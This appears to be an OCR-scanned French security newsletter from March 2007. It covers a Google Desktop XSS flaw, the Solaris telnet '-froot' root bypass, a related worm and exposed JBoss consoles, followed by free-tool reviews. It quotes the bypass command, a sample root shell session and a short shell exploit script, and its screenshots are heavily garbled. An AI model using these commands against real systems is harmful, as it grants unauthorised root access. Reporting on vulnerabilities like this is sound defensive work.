Ceci permettait d’exécuter des scripts malicieux. La faille de
sécurité était d’ailleurs persistante si bien qu’apres avoir
exeécuté le script, toute recherche renvoyait le résultat de ce
dernier.

@ v (D hitp:/f127.0.0,1:4664 search?q=under%34%3Cscript % 3E dlert %281 %29% ¥ | #3 | X

o » () Connecting...

| Goaogle

Desktop

€ V5N Hotmail - Message

Video MNews Maps Desktop more »

under <script>alert(1)</script> | Search'J

Windows Internet Explorer @1
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Ce genre de probleme est souvent exploité pour voler des
données (cookie de session). Cependant, il est rarement le
vecteur d’attaque qui permet de prendre le contréle de la
machine cible.

Or, ici, le serveur web vulnérable n’est autre qu’un serveur
local.

Le scénario de I'attaque serait donc le suivant :
-Le pirate doit inciter la victime a suivre un lien
malicieux (par e-mail, messagerie instantanée..)
-La victime clique sur le lien, le script est alors
exécute.

-Une requéte XmlHttpRequest est envoyé a Goo-
gle dans le but de récupérer la signature (chaine
de caracteres qui permet de lancer des requétes
via Google Desktop).

-Une fois la signature récupérée, cette derniére va
étre utilisée pour lancer les requétes aveugles au
logiciel.

-Enfin la victime est dirigée derechef vers une
page légitime afin de ne pas éveiller de soupgons.

Le script est lancé et renvoie le résultat instantanément. La
victime ne peut pas prendre conscience du faut que son
poste est désormais compromis.

De son cété, le pirate utilise un proxy. Il voit ainsi passer
toutes les requétes lancées par la victime. Il peut a tout
moment modifier la configuration du logiciel, ajouter des
parameétres pour rechercher des types de fichiers et voir le
résultats de ses recherches.

Le script établit une connexion entre le serveur de la victime
et le poste de I'attaquant si bien qu’avec les outils adéquats,
le pirate peut prendre la main sur le logiciel.

a- - o e fattacherjsession aspitechsidel01 | | Gl

127.0.0.1

Internal [P
0.0.0.0

211812007 3:42:18 PM  ssvescispiencen(srecs

Last Requast
2/18/2007 3:43:57 PM

Ici, par exemple, le pirate recherche les fichiers qui posse-
dent I'extension .exe.

Google a immédiatement corrigé le probleme. La derniere
version de Google Desktop n’est donc plus vulnérable. Tou-
tes les informations relatives a cette attaque sont décrites
dans le white paper et la démonstration vidéo disponible a
I’adresse suivante :

2k Une vidéo de démonstration est disponible a I'adresse
suivante :
http://download.watchfire.com/googledesktopdemo/index.ht
m

2k Un white paper est également disponible :
http://download.watchfire.com/whitepapers/Overtaking-Goo

le-Desktop.pdf
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Les vulnérabilités des serveurs
Solaris, une vielle faille refait surface...

Nous vous en avons parlé rapidement dans
I’édito du numéro de Février 2007, la faille
«froot» avait créé I'événement de ce mois.
Tous les serveurs Sun Solaris 10, qui im-
plémentaient le service Telnet, ont été tou-
chés par une vulnérabilité surprenante.

En effet, une simple commande Telnet

(telnet -1 "-froot" IP) permettait a un utilisateur d’outrepasser
les mesures de sécurité. Il pouvait ainsi obtenir, a distance,
les droits de n’importe quel utilisateur (root) sur le systéme
concerné et ce, sans méme saisir le moindre mot de passe.

Cette vulnérabilité nous raméne 13 ans en arriere a I’épo-
que ou la totalité des attaques était menée en ligne de
commandes, sans payload ni scripts complexes.

Le systéme AIX (IBM) était d’ailleurs sujet a la méme vulné-
rabilité en 1994...

Détaillons cette vulnérabilité pour le moins étrange....

La commande «telnet - "-froot" IP» utilise I'option —I qui va
chercher la variable d’environnement USER et I'envoyer au
programme «login» sur le systéme distant.

Or ici, nous passons l'utilisateur «-froot» en argument. Ce
paramétre est donc envoyé au programme «login» qui va
interprété «-froot» comme l'option «—froot». Comme ['indi-
que le man de login.

Man login :

-f : The -f option is used when a user name is specified
to indicate that proper authentication has already been

done and that no password need be requested. This
option may only be used by the super-user or when an
already logged in user is logging in as

themselves.

Le programme «in.telnetd» est lancé par I'utilisateur root sur
le systéme ciblé. Il a donc le droit d’utiliser 'option «—f root»
qui authentifie I'utilisateur «root» sans avoir besoin du mot
de passe.

Certains diront qu’il est impossible d’utiliser cette faille si
I'utilisateur root n’a pas le droit de se connecter depuis un
systeme distant (/dev/console et/etc/default/login). Pourtant,
cette vulnérabilité peut étre exploitée de la méme maniére
avec un nom d’utilisateur valide («bin», « nom de famille de
I’ladministrateur... »...)

Apollon:~ Kyser}$ telnet

Trying 192 .168 .10 .78 ...

Connec ted to 192 .168 .10 .78 .

Escape character is "*]°.

Last login: Mon Mar 26 14:55:08 on console
Sun Microsystems Inc. Sun0S 5 .10
You have new mail.
usacosol10# |Is
#Noted Thu_22 :11 :48%
#Noted Tue_13 :14 :48%
app-zone

app_zone

b in

boot

cdrom

dba-zone

dev

usacoso 110# []

devices
etc
export
home
kernel
lib
lost+found
mnt
net

opt
platfom
proc

sh in
system
test
test.txt
mp
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Generic Januar

noautoshut

Cette nouvelle a donc affolé tous les responsables sécurité

qui ont été forcés d’appliquer rapidement le cor-
rectif proposé par Sun ou bien de bloquer le
port 23 afin de parer a d’éventuelles attaques.

Solaris, souvent utilisé pour sa robustesse, a
donc pris un sacré coup.

Nous vous rappelons que le service Telnet ne
doit plus étre implémenté dans un environne-
ment sécurisé. Il est important que les adminis-
trateurs se tournent vers SSH, connu pour ses gages de
confidentialité et d’intégrité.

Un programme a rapidement été développé. En connaissant
simplement le nom d’un utilisateur, le pirate obtient un acces
directe au serveur avec le compte piraté. Voici le code
source de cet exploit développé en langage Shell :

GODE:...

echo "

echo "SunOS 5.10/5.11"

if [ $# -ne 2 ]; then

echo "./sunos <host> <account>"
echo "./sunos localhost bin"
exit

fi

echo ""

echo "ALEX ALEX"

echo "

telnet -I"-f$2" $1

I'exploit Solari r la faille Teln
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INFO VIRUS

La faille Telnet rapidement exploitée

Peu de temps apreés la publication de
la faille Telnet, un ver pour Solaris
venait d'étre identifié. Ce dernier
baptisé 'Unix/Froot A' ou 'Wanuk' ex-
ploitait activement une faille décou-
verte dans Solaris 10 et se manifes-
tait par l'affichage de messages of-
fensants et d’images de dindons par-

R =
. Just a
( talking
{ turkey.

AﬁﬁﬂA\uuu/ﬂAQuuu/ﬁﬁﬁA\A\A\A\A\A\A\A\
NIRRT AR
Une fois 1'ordinateur contaminé, le
virus scannait le réseau local a la
recherche de cibles potentielles. Deés
que le démon telnet était identifiée
sur une machine du réseau, le ver es-
sayait d'en prendre le contrdle avec
la faille 'froot'.

Les serveurs JBOSS également ciblés

Continuons notre petit tour d’horizon du mois avec les failles
dédiées aux serveurs. Une autre nouvelle publiée sur un
forum a certainement glacé d’effroi certains RSSI. En effet,
certaines fonctionnalités de I'application Jboss étaient ac-
cessibles par n’importe quel internaute connaissant
I’adresse magique.

Web |magts Groupes Actusités Deskloo pluss
(;Oiqgk:c::::: [(Fachocher ] semesnase
[=rre
Web Rebsukats 1 - 10 sur un otal ¢
ds sourceforgs neybossinspecMBean jsp?m - |

MBean hspector- | page |
MEgan Nama Domain Nama:_ (boss managemant 1ocal JOEESerer Lecal nama jmy-
«console war. JZEEApglication’, null. j2eeType: . WebModule ...

fBean st i- | e

MBaan Mama', Doman Name', jbess web J2EESsnar, none. name: . [ocalhastijmy.

console J2EEAgphcation . none. j2eeType . WebModule
MEean bispector- | page ]
MiEaan Hame: . Domain Nama:, jboss web. name:, ilocalhostims-console J2EESaner
nane. JREEAgglication:, none. j2eeType., Webldodule ...

aHIrlAdsptorFacien=inspecaMBenninans
MEBean nsSpector- [ g8 |
Hama, Doman, jboss. web. J2EESenwr, rono. name, scalostjmy-consok
JZEEApphcation, none. ZeaType, WebMadule. Java Class, crg apache. commons. modeler ..
[ — 3007 acbon= napactME ANANAS=IIES WELY
Liste des serveurs vulnérables

© XMCO Partners - 2007

En utilisant quelques astuces de recherche sur le moteur
Google, un pirate peut identifier les serveurs concernés par
cette vulnérabilité et obtenir des informations sensibles sur
la configuration de Jboss, causer un déni de service en
changeant certains parameétres et invoquer certaines fonc-
tions.

CF- lima ) s —

o

JMX MBean View

Attribute Name
Do
MowLinking

Attribute Vatue

cachaTTL

:

R ) - " & -
o0

IBasa™ Application Servar

L’erreur était liée a un probleme de configuration. Les con-
soles Jmx et Web de management ne sont pas correcte-
ment sécurisées par défaut.

Vous trouverez tous les conseils utiles a la sécurisation de
la console Jboss a I'adresse suivante :

http://wiki.jboss.org/wiki/Wiki.jsp?page=SecureTheJmxCons
ole

v
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Liste des outils bien utiles :

Chaque mois, nous vous
présentons les outils 1li-
bres qui nous paraissent
utiles et pratiques.

Les logiciels abordés
sont variés : utilitaires
de développement, sécuri-
té et autres programmes
utiles, voir indispensa-
bles, en entreprise.

Ce mois-ci, nous avons
choisi de présenter les
logiciels suivants :
Google Desktop : outil
de recherche
Key Pass Password Safe :
gestionnaire de mot de
passe
Vmware converter : vir-
tualisation de machines
physiques
TestDisk : outils de ré-
cupération de données

Vous trouverez a la fin
de cette section un ta-
bleau récapitulatif des
versions de tous les lo-
giciels présentés lors
des précédents numéros
d’ « Actu Sécurité ».

XMCO Partners

Xm
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— X C O 9, rue Falguiére
—— - 75015 Paris
France

TEL +33 1 47 34 B8 &1
Fax +33 143 ¢
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Google Desktop

Recherche locale de fichiers/Informations en temps

réel

Version actuelle 5.0

Utilité o

Type Utilitaire

Description Google Desktop est, comme son nom l'indique, un logiciel dévelop-

pé par la société Google. Il a pour but de faciliter la recherche de
fichiers sur son ordinateur via l'interface Web la plus connue de la
Toile. Vous pourrez ainsi retrouvez toutes les informations de votre
PC (e-mails de tous les clients utilisés).

Cet utilitaire permet également de configurer une «side-bar» qui ap-
porte en temps réel des informations configurables (flux RSS, bloc
notes, diaporamas de photos, informations diverses, E-mail, plu-

gin...).

Capture d’écran

& WHITEPAPIRS - Gaoule Dwiktap - Mozilla Firatax [
B (i cheos thtas Heamoss G0k 1 r—
T |2 NeIBAILET 111014 W TP APER S8k b s Uil s s 1 = o] [CF]

L WHIREPAPERS - Goeghe Desktop (L3 | 1 Swon Partress - Whispapers ot e

1 Desktap plus =

Goegle Enims e
Desktop’
Desktop : Tous - 55 s-malls - 325 fichiers - 12 historigus wab - 0 chats - 0 autrs 190 st wevsn 396 041 )

spgtmar da Tedns | Trs g painence Talé pan dane =

Brvinie ddemma - ARP
sk

Free remalissiution b
a Testlab with e 1

Whitepapers = |
Wihitepagars Fresch m Consub 1

sewwhitepapars
e beinire

et hate Rslited Whitepagars Data =

[T T ETTRRTET R k- WLk el [ryeer—— | @500 Wi

Téléchargement

Google Desktop est disponible a I'adresse suivante :
http://desktop.google.com/fr/?utm campaign=fr&utm_source=fr-ha-e
mea-fr-google&utm medium=ha&utm term=google%20desktop

Sécurité de Poutil

Une faille de sécurité importante a été découverte au mois de janvier
(voir chapitre précédent page 11). Cette derniere permettait a un
pirate de prendre le contréle total d’'un systeme implémentant Goo-
gle Desktop. La vulnérabilité a maintenant été corrigée.

Avis XMCO

Google Desktop est un outil pratique. Contrairement a la recher-
che classique de Windows, Google indexe les e-mails de tous les
clients mail du marché. Par ailleurs la «side-bar» est pratique et
peut implémenter de nombreux plugins disponibles gratuitement
sur le site de Google.

© XMCO Partners - 2007
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Key Pass Password Safe

Gestionnaire de mots de passe

Version actuelle 1.06

Utilité "L . N

Type Logiciel Sécurité

Description Key Pass Password Safe est un outil de gestion de mots de passe.

La plupart des utilisateurs choisissent le méme mot de passe pour
leurs applications et leurs accés confidentiels. Cette habitude consti-
tue aujourd’hui un probléme de sécurité majeur que résout Key Pass
Password Safe. Ce logiciel permet de sauvegarder tous vos mots de
passe dans une base de données sécurisée par une «pass phrase».
Il vous suffit alors de retenir un seul mot de passe (irés long de pré-
férence) et vous deviendrez le seul a pouvoir consulter tous vos
mots de passe en sécurité.

Capture d’écran

File Edit Yiew Tools Help

WoH €L |30 4 @ @
=@ EEHEIE| |#)|| Title User Mamne URL Password Notes (o]
'—_-.'3‘ Windows | Anorymos go -
L) Metwork Sample #31 Anonumous a0 _1‘) Copy User Mame To Clipboard  Ctrl+B
% ::E:?at _llSampIe B34 Anonymous god @ Cpen URL(s) Chrl+U
G4 Homebanking | ?gamp:e g:: 1; 2nonymous 95 | Copy Password To Clipboard  Chrl+C
=% 0Group Tt il e gm95mmmmmm
!) 1 Group %/ Sample $116  Anonymous falld x
=18 2 Group oo Sarmple 8117 Anonpmaus go U Perform Auto-Type Crl+y
124 3 Group @Sample #1123 Anonymous goe
#-/ 5 Group &7 Bample #1238 Anorymous got < Add Entry... Chrl+y
@ [ 10Group ‘-_%Sample H145  Anorpmous 909 7 Editview Entry. .. Ctr+E
L £lf E il
#4257 13 Group Le Sample #1493 Anorymous ool
24 18 Group @Sample H1E2  Anonymous got S Dupleateiity Saikk
28 Graup 9 Sample #167  Anonymous oo <#  Delete Entry Ctrl+D
+ L 32 Eroup )| 'L.isamﬁle HIB1 Anomymous 900 £ Mass Modify (Al Selected). ., ]
|Group: General, Title: Sample #55, User Name: Anonymous, URL: ooogle.co Select Al Ctl+a D7 1g23:23,
Last Modification: 2006-12-27 15:22:23, Last Access: 2006-12-27 19:23:23
., EindInDatabase... Ctrl+F
EamEites 1 Find In This Group. ..
Rearrangs 3
Total: 105 graups | 1293 entries 1 af 140 selected Ready.

Téléechargement

Key Pass Password Safe est un outil libre disponible sur toutes les
plates-formes (Windows, Linux, Mac OS X) et pour PalmOS/Pocket
PC a I'adresse suivante :

http://keepass.info/download.html

Sécurité de Poutil

Aucune faille de sécurité n’ a été identifiée

Avis XMCO

Key Pass est un tres bon outil de sauvegarde de mots de passe. Il
vous permet de gérer un grand nombre de données de maniere sé-
curisée (base de donnée chiffrée par une clef solide).

© XMCO Partners - 2007
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Vmware Converter

Conversion de machines physiques

Version actuelle 3.0

Utilité Sr O or U o

Type Logiciel Systéme

Description Aprés vous avoir présenté VmWare Player, un outil de virtualisation

gratuit, il nous parait indispensable de dévoiler un autre utilitaire qui
peut s’avérer pratique : VmWare Converter. Ce logiciel permet en
quelques clics de convertir une machine physique en machine vir-
tuelle. En d’autres mots, votre systéme d’exploitation peut étre trans-
formé en fichier qui sera lu par VmPlayer pour constituer une ma-
chine virtuelle.

Capture d’écran

T3 VMware Converter eafi=if -
Fle Edt view Task Admnistaton Help

@ import Machine (B Configure Machiee | ) O | $8 Fiter By [ <ho Fiters~| |

| 1| Description | Source | Destination | Progress | Status | start Tme | End Time

{715 Import 2 physical machine  local machine | \Logidels\sha... 11l 9% (5 InProgress | 02/02/2007 10:46... 18 mins remaiing

Source System Information Destination Customization

Machine Type: Physical Machine Not customized

Name/IP Address: local machine

Destination System Information

Virtual Machine Name: »n

Location: “SLogicielshareddocs
Resources:

Datastore:

Network Configuration:

Volumes: L

Téléchargement

Ce logiciel disponible uniquement sur Windows est mis a disposition
a I'adresse suivante :
http://www.vmware.com/download/converter/

Sécurité de Poutil

Aucune faille n’a été publiée a ce jour.

Avis XMCO

L’interface de Vmware Converter est trés simple. Il intégre un assis-
tant qui vous guide pas a pas. L’outil peut méme gérer des fichiers
divers (image Ghost ou Virtual PC). Le processus de conversion est
un peu long mais I'utilitaire a 'avantage d’étre gratuit !

© XMCO Partners - 2007
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TestDisk

Récupération de données

Version actuelle

Utilité
Type Logiciel Systeme
Description Chaque utilisateur a déja été confronté a une erreur de disque dur,

de partitions systéeme. Les virus, toujours de plus en plus nhombreux,
sont souvent la cause de probleme divers difficlement réparables
sous Windows. Test Disk est un outil qui permet de récupérer faci-
lement les partitions perdues, de réparer la table des partitions cor-
rompues.

Capture d’écran

ds ; 6.4
6.4, ‘Data Recovery Utility, June 2886
phe .GRENIER <grenierBcgsecurity.org?
//uwg.cgsecurity.ory

- 88 GB ~» 74 GiB — CHS 9729 255 63
Start End Size in sectors

1 1 1912 254 63 30732282 [SOFTPEDIA]
HPFS — NIFS 1913 B 1 9728 254 63 125564048 L[SOFTNEWS]

=Primary hootabhle P=Primary L=Logical E=Extended D=Deleted

Save 1

Try to locate partition

Téléchargement

Ce logiciel est disponible pour Windows, Mac OS X et Linux a
I’adresse suivante :

http://www.cgsecurity.org/wiki/TestDisk _Download

Sécurité de Poutil

Aucune faille n’a été publiée a ce jour.

Avis XMCO

Cet utilitaire s’avérera pratique et méme essentiel pour les pro-
blémes rencontrés sur des partitions systeme.

© XMCO Partners - 2007
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Suivi des versions

Version actuelle des outils libres présentés dans les
numeéros précédents

DERNIERE VERSION

L’ACTU SECU Mars 2007
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